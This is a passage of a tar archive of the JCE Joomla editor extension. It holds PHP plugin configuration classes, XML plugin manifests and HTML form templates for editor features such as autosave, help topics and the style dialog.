                if (preg_match('/([^\=]+)(\=)([^\=]+)/', trim($new)) && !in_array($new, $fonts)) {
                    $fonts[] = $new;
                }
            }

            natcasesort($fonts);
            $fonts = implode(';', $fonts);
        }

        return $fonts;
    }
}
com_jce/editor/plugins/core/index.html000060400000000054152453734450014046 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/core/config.php000060400000002663152453734450014037 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFCorePluginConfig
{
    private static function extractContent($content)
    {
        $content = htmlspecialchars_decode($content);

        // Remove body etc.
        if (preg_match('/<body[^>]*>([\s\S]+?)<\/body>/', $content, $matches)) {
            $content = trim($matches[1]);
        }

        return $content;
    }

    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $startup_content_url = $wf->getParam('editor.startup_content_url', '');
        $startup_content_html = $wf->getParam('editor.startup_content_html', '');

        if ($startup_content_url) {
            if (preg_match("#\.(htm|html|txt|md)$#", $startup_content_url) && strpos('://', $startup_content_url) === false) {
                $startup_content_url = trim($startup_content_url, '/');

                $file = JPATH_SITE . '/' . $startup_content_url;

                if (is_file($file)) {
                    $startup_content_html = @file_get_contents($file);
                }
            }
        }

        if ($startup_content_html) {
            $settings['startup_content_html'] = htmlspecialchars(self::extractContent($startup_content_html));
        }
    }
}
com_jce/editor/plugins/tabfocus/index.html000060400000000054152453734450014724 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/tabfocus/config.php000060400000000576152453734450014716 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFPluginTabfocusConfig
{
    public static function getConfig(&$vars)
    {
        $vars['tabfocus_elements'] = ':prev,:next';
    }
}com_jce/editor/plugins/autosave/index.html000060400000000054152453734450014745 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/autosave/config.php000060400000002615152453734450014733 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAutosavePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();    
    
        $ask_before_unload = $wf->getParam('autosave.ask_before_unload');
        $retention = $wf->getParam('autosave.retention');
        $interval = $wf->getParam('autosave.interval');

        // add "m" to the retention value if it is not empty
        if ($retention) {
            $retention = (int) $retention;

            if ($retention > 0) {
                $retention .= 'm';
            } else {
                $retention = '';
            }
        }

        // add "s" to the interval value if it is not empty
        if ($interval) {
            $interval = (int) $interval;
            if ($interval > 0) {
                $interval .= 's';
            } else {
                $interval = '';
            }   
        }

        if ($ask_before_unload) {
            $settings['autosave_ask_before_unload'] = true;
        }

        if ($retention) {
            $settings['autosave_retention'] = $retention;
        }

        if ($interval) {
            $settings['autosave_interval'] = $interval;
        }
    }
}
com_jce/editor/plugins/autosave/autosave.xml000060400000002252152453734450015323 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_AUTOSAVE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AUTOSAVE_DESC</description>
	<icon>autosave</icon>
	<files></files>
	<languages></languages>

	<fields name="autosave">
        <fieldset name="config">
            <field name="ask_before_unload" type="yesno" default="0" label="WF_AUTOSAVE_ASK_BEFORE_UNLOAD" description="WF_AUTOSAVE_ASK_BEFORE_UNLOAD_DESC">
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
			<field name="retention" type="text" default="20" label="WF_AUTOSAVE_RETENTION" description="WF_AUTOSAVE_RETENTION_DESC" />
			<field name="interval" type="text" default="30" label="WF_AUTOSAVE_INTERVAL" description="WF_AUTOSAVE_INTERVAL_DESC" />
		</fieldset>
	</fields>

	<help></help>
</extension>
 com_jce/editor/plugins/fullscreen/fullscreen.xml000060400000001230152453734450016144 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_FULLSCREEN_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_FULLSCREEN_DESC</description>
	<icon>fullscreen</icon>
	<help>
		<topic key="fullscreen.about" title="WF_FULLSCREEN_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/fullscreen/index.html000060400000000054152453734450015260 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/contextmenu/index.html000060400000000054152453734450015467 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/contextmenu/contextmenu.xml000060400000001146152453734450016570 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
  <name>WF_CONTEXTMENU_TITLE</name>
  <version>2.9.99.2</version>
  <creationDate>22-04-2026</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
  <copyright>Ryan Demmer</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>WF_CONTEXTMENU_DESC</description>
  <icon></icon>
  <help></help>
  <languages></languages>
</extension>com_jce/editor/plugins/print/print.xml000060400000001177152453734450014142 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_PRINT_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_PRINT_DESC</description>
	<icon>print</icon>
	<help>
		<topic key="print.about" title="WF_PRINT_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/print/index.html000060400000000054152453734450014252 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/joomla/index.html000060400000000054152453734450014377 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/joomla/config.php000060400000003423152453734450014363 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Editor\Editor;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;

class WFJoomlaPluginConfig
{
    public static function getConfig(&$settings)
    {
        if (empty($settings['joomla_xtd_buttons'])) {
            $settings['joomla_xtd_buttons'] = array();
        }
        
        $list = array();

        $editor = Editor::getInstance('jce');

        $excluded = array('readmore', 'pagebreak', 'image');

        $i = 0;

        $buttons = $editor->getButtons('__jce__');

        foreach ($buttons as $button) {
            // skip buttons better implemented by editor
            if (in_array($button->name, $excluded)) {
                continue;
            }

            // create icon class
            $icon = 'none icon-' . $button->get('icon', $button->get('name'));

            // set href value
            if ($button->get('link') !== '#') {
                $href = Uri::base() . $button->get('link');
            } else {
                $href = '';
            }

            $id = $button->get('name');

            $options = array(
                'name' => $button->get('text'),
                'id' => $id,
                'title' => $button->get('text'),
                'icon' => $icon,
                'href' => $href,
                'onclick' => $button->get('onclick', ''),
                'svg' => $button->get('iconSVG'),
                'options' => $button->get('options', array()),
            );

            $list[] = $options;
        }
        
        $settings['joomla_xtd_buttons']['__jce__'] = $list;
    }
}com_jce/editor/plugins/emotions/emotions.xml000060400000002533152453734450015341 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_EMOTIONS_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_EMOTIONS_DESC</description>
	<icon>emotions</icon>
	<files>
		<file>plugin.js</file>
		<file>emotions.php</file>
		<folder>classes</folder>
		<folder>css</folder>
		<folder>img</folder>
		<folder>js</folder>
		<folder>tmpl</folder>
	</files>
	<fields name="emotions">
		<fieldset name="config">
			<field name="url" type="text" placeholder="components/com_jce/editor/tiny_mce/plugins/emotions/img" default="" size="100" label="WF_EMOTIONS_PARAM_URL" description="WF_EMOTIONS_PARAM_URL_DESC" />
			<field name="smilies" type="text" placeholder="eg: smiley-confused.gif,smiley-cool.gif" default="" size="100" label="WF_EMOTIONS_PARAM_SMILIES" description="WF_EMOTIONS_PARAM_SMILIES_DESC" />
		</fieldset>
	</fields>
	<languages>
		<language tag="en-GB">en-GB.WF_emotions.ini</language>
	</languages>
	<help></help>
</extension>
 com_jce/editor/plugins/emotions/config.php000060400000001012152453734450014727 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFEmotionsPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['emotions_smilies'] = $wf->getParam('emotions.smilies');
        $settings['emotions_url'] = $wf->getParam('emotions.url');
    }
}
com_jce/editor/plugins/emotions/index.html000060400000000054152453734450014753 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/help/tmpl/index.html000060400000000054152453734450015022 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/help/tmpl/default.php000060400000001417152453734450015166 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

?>
<div class="ui-jce uk-flex">
    <nav class="uk-panel uk-panel-box uk-height-1-1">
        <?php echo $this->plugin->renderTopics(); ?>
    </nav>
    <main class="uk-panel uk-panel-box uk-height-1-1">
        <header>
            <a class="uk-button uk-button-link" data-toggle="collapse">
                <span class="uk-icon uk-icon-list"></span>
            </a>
        </header>
        <section>
            <iframe id="help-iframe" src="javascript:;" scrolling="auto" frameborder="0"></iframe>
        </section>
    </main>
</div>com_jce/editor/plugins/help/index.html000060400000000054152453734450014046 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/help/help.xml000060400000001076152453734450013530 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_HELP_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_HELP_DESC</description>
	<icon>hr</icon>
	<help></help>
	<languages></languages>
</extension>com_jce/editor/plugins/help/help.php000060400000017660152453734450013525 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Path;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;

class WFHelpPlugin extends WFEditorPlugin
{
    protected $name = 'help';

    public function __construct($config = array())
    {
        parent::__construct($config);
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $app = Factory::getApplication();

        $section = $app->input->getWord('section');
        $category = $app->input->getWord('category');
        $article = $app->input->getWord('article');
        $language = $app->input->getWord('lang');

        $params = ComponentHelper::getParams('com_jce');

        $url = $params->get('help_url', 'https://www.joomlacontenteditor.net');
        $method = $params->get('help_method', 'reference');
        $pattern = $params->get('help_pattern', '/$1/$2/$3');

        // trim url of trailing slash
        $url = trim($url, '/');

        switch ($method) {
            default:
            case 'reference':
                $url .= '/index.php?option=com_content&view=article&tmpl=component&print=1&mode=inline&task=findkey&lang=' . $language . '&keyref=';
                break;
            case 'xml':
                break;
            case 'sef':
                break;
        }

        $key = array();

        if ($section) {
            $key[] = $section;
            if ($category) {
                $key[] = $category;
                if ($article) {
                    $key[] = $article;
                }
            }
        }

        $options = array(
            'url' => $url,
            'key' => $key,
            'pattern' => $method === "sef" ? $pattern : '',
        );

        $tabs = WFTabs::getInstance(array(
            'base_path' => WF_EDITOR_PLUGIN,
        ));

        // Add tabs
        $tabs->addTab('help', 1, array('plugin' => $this));

        $document = WFDocument::getInstance();

        if ($document->get('standalone') == 1) {
            $document->addScript(array('window.min'));
        }

        $document->addScript(array('help.min'), 'plugins');
        $document->addStyleSheet(array('help.min'), 'plugins');

        $document->addScriptDeclaration('jQuery(document).ready(function($){Wf.Help.init(' . json_encode($options) . ');});');
    }

    public function getLanguage()
    {
        $language = Factory::getLanguage();
        $tag = $language->getTag();

        return substr($tag, 0, strpos($tag, '-'));
    }

    public function getTopics($file)
    {
        $result = '';

        if (is_file($file)) {
            // load xml
            $xml = simplexml_load_file($file);

            if ($xml) {
                foreach ($xml->help->children() as $topic) {
                    $subtopics = $topic->subtopic;
                    $class = count($subtopics) ? 'subtopics uk-parent' : '';

                    $key = (string) $topic->attributes()->key;
                    $title = (string) $topic->attributes()->title;
                    $file = (string) $topic->attributes()->file;

                    // if file attribute load file
                    if ($file) {
                        $result .= $this->getTopics(WF_EDITOR . '/' . $file);
                    } else {
                        $result .= '<li id="' . $key . '" class="' . $class . '"><a href="#"><span class="uk-icon uk-icon-copy uk-margin-small-right"></span>&nbsp;' . trim(Text::_($title)) . '</a>';
                    }

                    if (count($subtopics)) {
                        $result .= '<ul class="uk-nav uk-nav-side uk-list-space hidden">';
                        foreach ($subtopics as $subtopic) {
                            $sub_subtopics = $subtopic->subtopic;

                            // if a file is set load it as sub-subtopics
                            if ($file = (string) $subtopic->attributes()->file) {
                                $result .= '<li class="subtopics uk-parent"><a href="#"><span class="uk-icon uk-icon-file uk-margin-small-right"></span>&nbsp;' . trim(Text::_((string) $subtopic->attributes()->title)) . '</a>';
                                $result .= '<ul class="uk-nav uk-nav-side uk-list-space hidden">';
                                $result .= $this->getTopics(WF_EDITOR . '/' . $file);
                                $result .= '</ul>';
                                $result .= '</li>';
                            } else {
                                $id = $subtopic->attributes()->key ? ' id="' . (string) $subtopic->attributes()->key . '"' : '';

                                $class = count($sub_subtopics) ? ' class="subtopics uk-parent"' : '';
                                $icon = count($sub_subtopics) ? 'uk-icon-copy' : 'uk-icon-file';
                                $result .= '<li' . $class . $id . '><a href="#"><span class="uk-icon ' . $icon . ' uk-margin-small-right"></span>&nbsp;' . trim(Text::_((string) $subtopic->attributes()->title)) . '</a>';

                                if (count($sub_subtopics)) {
                                    $result .= '<ul class="uk-nav uk-nav-side hidden">';
                                    foreach ($sub_subtopics as $sub_subtopic) {
                                        $result .= '<li id="' . (string) $sub_subtopic->attributes()->key . '"><a href="#"><span class="uk-icon uk-icon-file uk-margin-small-right"></span>&nbsp;' . trim(Text::_((string) $sub_subtopic->attributes()->title)) . '</a></li>';
                                    }
                                    $result .= '</ul>';
                                }

                                $result .= '</li>';
                            }
                        }
                        $result .= '</ul>';
                    }
                }
            }
        }

        return $result;
    }

    /**
     * Returns a formatted list of help topics.
     *
     * @return string
     *
     * @since 1.5
     */
    public function renderTopics()
    {
        $app = Factory::getApplication();

        $section = $app->input->getWord('section', 'admin');
        $category = $app->input->getWord('category', 'cpanel');

        $document = Factory::getDocument();
        $language = Factory::getLanguage();

        $language->load('com_jce', JPATH_SITE);
        $language->load('com_jce_pro', JPATH_SITE);

        $document->setTitle(Text::_('WF_HELP') . ' : ' . Text::_('WF_' . strtoupper($category) . '_TITLE'));

        switch ($section) {
            case 'admin':
                $file = WF_ADMINISTRATOR . '/models/' . $category . '.xml';
                break;
            case 'editor':
                $file = Path::find([
                    WF_EDITOR_PLUGINS . '/' . $category,
                    JPATH_PLUGINS . '/system/jcepro/editor/plugins/' . $category,
                    JPATH_PLUGINS . '/jce/editor-' . $category,
                    JPATH_PLUGINS . '/jce/editor_' . $category
                ], $category . '.xml');

                if (!$file) {
                    $file = WF_EDITOR_LIBRARIES . '/xml/help/editor.xml';
                } else {
                    $path = dirname($file);

                    // installed plugin
                    if (preg_match('/\/editor[_-]/', $path)) {
                        $language->load('plg_jce_editor_' . $category,$path);
                    }                    
                }

                break;
        }

        $result = '';

        $result .= '<ul class="uk-nav" id="help-menu"><li class="uk-nav-header">' . Text::_('WF_' . strtoupper($category) . '_TITLE') . '</li>';
        $result .= $this->getTopics($file);
        $result .= '</ul>';

        return $result;
    }
}
com_jce/editor/plugins/style/tmpl/background.php000060400000005753152453734450016100 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="background_color" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BACKGROUND_COLOR'); ?></label>
            <div class="uk-form-controls uk-width-2-10">
              <input id="background_color" class="color" type="text" value="" />
            </div>
      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="background_image" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BACKGROUND_IMAGE'); ?></label>
          <div class="uk-form-controls uk-width-8-10">
            <input id="background_image" class="browser image" type="text" />
          </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="background_repeat" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BACKGROUND_REPEAT'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" id="background_repeat" class="uk-datalist" list="background_repeat_datalist" /><datalist id="background_repeat_datalist"></datalist>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="background_attachment" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BACKGROUND_ATTACHMENT'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" id="background_attachment" class="uk-datalist" list="background_attachment_datalist" /><datalist id="background_attachment_datalist"></datalist>
        </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="background_hpos" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BACKGROUND_HPOS'); ?></label>

          <div class="uk-form-controls uk-width-4-10 uk-margin-right">
              <input type="text" id="background_hpos" class="uk-datalist" list="background_hpos_datalist" /><datalist id="background_hpos_datalist"></datalist>
          </div>
          <div class="uk-form-controls uk-width-2-10">
              <select id="background_hpos_measurement"></select>
          </div>
      </div>

      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="background_vpos" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BACKGROUND_VPOS'); ?></label>

          <div class="uk-form-controls uk-width-4-10 uk-margin-right">
              <input type="text" id="background_vpos" class="uk-datalist" list="background_vpos_datalist" /><datalist id="background_vpos_datalist"></datalist>
            </div>
          <div class="uk-form-controls uk-width-2-10">
              <select id="background_vpos_measurement"></select>
          </div>
      </div>
com_jce/editor/plugins/style/tmpl/positioning.php000060400000016416152453734450016321 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>

<div class="uk-form-row uk-grid uk-grid-small">
  <label for="positioning_type" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_POSITIONING_TYPE'); ?></label>
  <div class="uk-form-controls uk-width-3-10">
    <input type="text" id="positioning_type" class="uk-datalist" list="positioning_type_datalist" /><datalist id="positioning_type_datalist"></datalist>
  </div>
  <label for="positioning_visibility" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_VISIBILITY'); ?></label>
  <div class="uk-form-controls uk-width-3-10">
    <input type="text" id="positioning_visibility" class="uk-datalist" list="positioning_visibility_datalist" /><datalist id="positioning_visibility_datalist"></datalist>
  </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
  <label for="positioning_width" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_WIDTH'); ?></label>
  <div class="uk-form-controls uk-width-2-10">
    <input type="number" id="positioning_width" onchange="StyleDialog.synch('positioning_width','box_width');" />
  </div>
  <div class="uk-form-controls uk-width-2-10">
    <select id="positioning_width_measurement"></select>
  </div>
  <label for="positioning_zindex" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_ZINDEX'); ?></label>
  <div class="uk-form-controls uk-width-2-10">
    <input type="number" id="positioning_zindex" />
  </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
  <label for="positioning_height" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_HEIGHT'); ?></label>
  <div class="uk-form-controls uk-width-2-10">
    <input type="number" id="positioning_height" onchange="StyleDialog.synch('positioning_height','box_height');" />
  </div>
  <div class="uk-form-controls uk-width-2-10">
    <select id="positioning_height_measurement"></select>
  </div>
  <label for="positioning_overflow" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_OVERFLOW'); ?></label>
  <div class="uk-form-controls uk-width-2-10">
    <input type="text" id="positioning_overflow" class="uk-datalist" list="positioning_overflow_datalist" /><datalist id="positioning_overflow_datalist"></datalist>
  </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
  <div class="uk-width-5-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_PLACEMENT'); ?></legend>


      <div class="uk-form-row">
        <input type="checkbox" id="positioning_placement_same" checked="checked" onclick="StyleDialog.toggleSame(this,'positioning_placement');" />
        <label for="positioning_placement_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TOP'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_placement_top" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_placement_top_measurement"></select>
        </div>


      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_RIGHT'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_placement_right" disabled="disabled" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_placement_right_measurement" disabled="disabled"></select>
        </div>


      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOTTOM'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_placement_bottom" disabled="disabled" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_placement_bottom_measurement" disabled="disabled"></select>
        </div>


      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_LEFT'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_placement_left" disabled="disabled" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_placement_left_measurement" disabled="disabled"></select>
        </div>


      </div>

    </fieldset>
  </div>

  <div class="uk-width-5-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_CLIP'); ?></legend>


      <div class="uk-form-row">
        <input type="checkbox" id="positioning_clip_same" checked="checked" onclick="StyleDialog.toggleSame(this,'positioning_clip');" />
        <label for="positioning_clip_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_clip_top" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TOP'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_clip_top" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_clip_top_measurement"></select>
        </div>


      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_clip_right" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_RIGHT'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_clip_right" disabled="disabled" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_clip_right_measurement" disabled="disabled"></select>
        </div>


      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_clip_bottom" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOTTOM'); ?></label>


        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_clip_bottom" disabled="disabled" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_clip_bottom_measurement" disabled="disabled"></select>
        </div>


      </div>
      <div class="uk-form-row uk-grid uk-grid-small">
        <label for="positioning_clip_left" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_LEFT'); ?></label>

        <div class="uk-form-controls uk-width-4-10">
          <input type="number" id="positioning_clip_left" disabled="disabled" />
        </div>
        <div class="uk-form-controls uk-width-4-10">
          <select id="positioning_clip_left_measurement" disabled="disabled"></select>
        </div>


      </div>

    </fieldset>
  </div>
</div>com_jce/editor/plugins/style/tmpl/box.php000060400000015412152453734450014542 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>

    <div class="uk-form-row uk-grid uk-grid-small">
      <label for="box_width" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOX_WIDTH'); ?></label>

            <div class="uk-form-controls uk-width-2-10">
              <input type="number" id="box_width" onchange="StyleDialog.synch('box_width','positioning_width');" />
            </div>
            <div class="uk-form-controls uk-width-2-10">
              <select id="box_width_measurement"></select>
            </div>

      <label for="box_float" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOX_FLOAT'); ?></label>
      <div class="uk-form-controls uk-width-2-10">
        <input type="text" id="box_float" class="uk-datalist" list="box_float_datalist" /><datalist id="box_float_datalist"></datalist>
      </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
      <label for="box_height" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOX_HEIGHT'); ?></label>

        <div class="uk-form-controls uk-width-2-10">
          <input type="number" id="box_height" onchange="StyleDialog.synch('box_height','positioning_height');" />
        </div>
        <div class="uk-form-controls uk-width-2-10">
          <select id="box_height_measurement"></select>
        </div>

      <label for="box_clear" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_BOX_CLEAR'); ?></label>
      <div class="uk-form-controls uk-width-2-10">
        <input type="text" id="box_clear" class="uk-datalist" list="box_clear_datalist" /><datalist id="box_clear_datalist"></datalist>
      </div>
    </div>

    <div class="uk-form-row uk-grid uk-grid-small">
  <div class="uk-width-5-10">
    <fieldset>
      <legend><?php echo Text::_('WF_STYLES_PADDING'); ?></legend>
        <div class="uk-form-row">
          <input type="checkbox" id="box_padding_same" checked="checked" onclick="StyleDialog.toggleSame(this,'box_padding');" />
          <label for="box_padding_same"><?php echo Text::_('WF_STYLES_SAME'); ?></label>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
          <label for="box_padding_top" class="uk-form-label uk-width-2-10"><?php echo Text::_('WF_STYLES_TOP'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_top" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_top_measurement"></select>
              </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
